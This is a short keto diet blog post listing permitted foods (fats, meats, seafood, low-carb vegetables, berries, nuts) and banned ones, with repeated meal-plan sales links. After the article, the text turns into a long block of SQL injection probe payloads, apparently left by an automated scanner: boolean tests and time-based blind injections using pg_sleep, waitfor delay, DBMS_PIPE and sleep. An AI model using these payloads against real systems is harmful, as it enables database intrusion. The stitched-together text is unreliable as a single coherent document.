Foods You Can and Cannot Eat on the Ketogenic Diet - 2 minutes read
Foods You Can and Cannot Eat on the Ketogenic Diet
The ketogenic diet is made up of food components that are very high in fats and very low in carbohydrates.
Ketosis, an elevated level of ketone bodies in the blood, occurs because fat is converted into ketones in the liver. This happens when there is a minimal amount of carbs in the diet and a high amount of fats. The liver converts fat into fatty acids and ketone bodies enabling the body to burn fat for energy and this can help supply energy to the brain.
Click Here for The Ultimate Keto Meal Plan
Ketogenic Shopping List
When eating keto, it's essential that you eat your healthy fats, protein and carbs in the right proportion depending on which type you are following. Macronutrients or macros are essential for survival because they are required for the proper functioning of the body. Carbohydrates, protein and fats are macros. There are some carbohydrates that have a high glycemic index like potato chips, ice cream, syrup and some with a low glycemic index like kale, cabbage, cauliflower and leafy greens.
Click Here for The Ultimate Keto Meal Plan
Foods allowed on the ketogenic diet:
These are food items you can buy from the farmer's market or your grocery store. All meats, seafood, full-fat dairy are allowed on the keto diet.
Fats:
Butter
Avocado oil
Olive Oil
Ghee
Coconut Oil
MCT Oil
Meat:
Beef
Chicken
Turkey
Duck
Veal
Venison
Lamb
Goat
Pork
Seafood:
Fish
Mackerel
Shrimp
Oysters
Crayfish
Cod
Salmon
Click Here for The Ultimate Keto Meal Plan
Vegetables:
Kale
Spinach
Lettuce
Cauliflower
Broccoli
Celery
Cucumber
Zucchini
Cabbage
Asparagus
Eggplant
Bell peppers
Fruits:
Strawberries
Blueberries
Raspberries
Blackberries
Limes
Lemons
Coconut
Avocados
Tomatoes
Olives
Click Here for The Ultimate Keto Meal Plan
Dairy:
Full fat organic cheese
Full fat organic milk
Full fat yogurt
Nuts and nut milk:
Almonds and almond milk
Cashews and cashew milk
Macadamia nuts
Walnuts
Brazil nuts
Pine nuts
Pistachios
Seeds:
Flax seeds
Chia seeds
Hemp seeds
Pumpkin Seeds
Click Here for The Ultimate Keto Meal Plan
Foods not allowed on the ketogenic diet:
Gluten (from Wheat)
Grains
Legumes
Refined Sugar
High Glycemic-Load Foods
High Fructose Corn Syrup
Read my weight loss story Struggle you lose weight HERE 👉 https://vocal.media/longevity/how-i-lost-9-dress-sizes-in-8-months
-1" OR 2+947-947-1=0+0+0+1 --
-1' OR 2+167-167-1=0+0+0+1 or 'XXGHdxhk'='
-1' OR 2+287-287-1=0+0+0+1 --
-1 OR 2+448-448-1=0+0+0+1
-1 OR 2+441-441-1=0+0+0+1 --
@
''||(select 1 from (select pg_sleep(15))x)||''
'||(select 1 from (select pg_sleep(15))x)||'
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
HvB8IM2r')) OR 921=(SELECT 921 FROM PG_SLEEP(15))--
TS91pfYd') OR 526=(SELECT 526 FROM PG_SLEEP(15))--
way3feEZ' OR 549=(SELECT 549 FROM PG_SLEEP(15))--
@
''||(select 1 from (select pg_sleep(15))x)||''
-1)) OR 930=(SELECT 930 FROM PG_SLEEP(15))--
'||(select 1 from (select pg_sleep(15))x)||'
-5) OR 696=(SELECT 696 FROM PG_SLEEP(15))--
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-5 OR 71=(SELECT 71 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
6k5m6UVm'; waitfor delay '0:0:15' --
kxlxSAop')) OR 862=(SELECT 862 FROM PG_SLEEP(15))--
1 waitfor delay '0:0:15' --
zgcW7G2h') OR 268=(SELECT 268 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --
q4A0CTxv' OR 756=(SELECT 756 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --
-1)) OR 668=(SELECT 668 FROM PG_SLEEP(15))--
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-5) OR 189=(SELECT 189 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
-5 OR 198=(SELECT 198 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
uuxxAhIm'; waitfor delay '0:0:15' --
if(now()=sysdate(),sleep(15),0)
1 waitfor delay '0:0:15' --
-1" OR 2+104-104-1=0+0+0+1 --
-1' OR 2+535-535-1=0+0+0+1 or '66AqMBKY'='
-1' OR 2+355-355-1=0+0+0+1 --
-1 OR 2+857-857-1=0+0+0+1
-1 OR 2+813-813-1=0+0+0+1 --
-1); waitfor delay '0:0:15' --
-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
if(now()=sysdate(),sleep(15),0)
-1" OR 2+147-147-1=0+0+0+1 --
-1' OR 2+265-265-1=0+0+0+1 or 'xXVVlsY9'='
-1' OR 2+509-509-1=0+0+0+1 --
-1 OR 2+362-362-1=0+0+0+1
-1 OR 2+510-510-1=0+0+0+1 --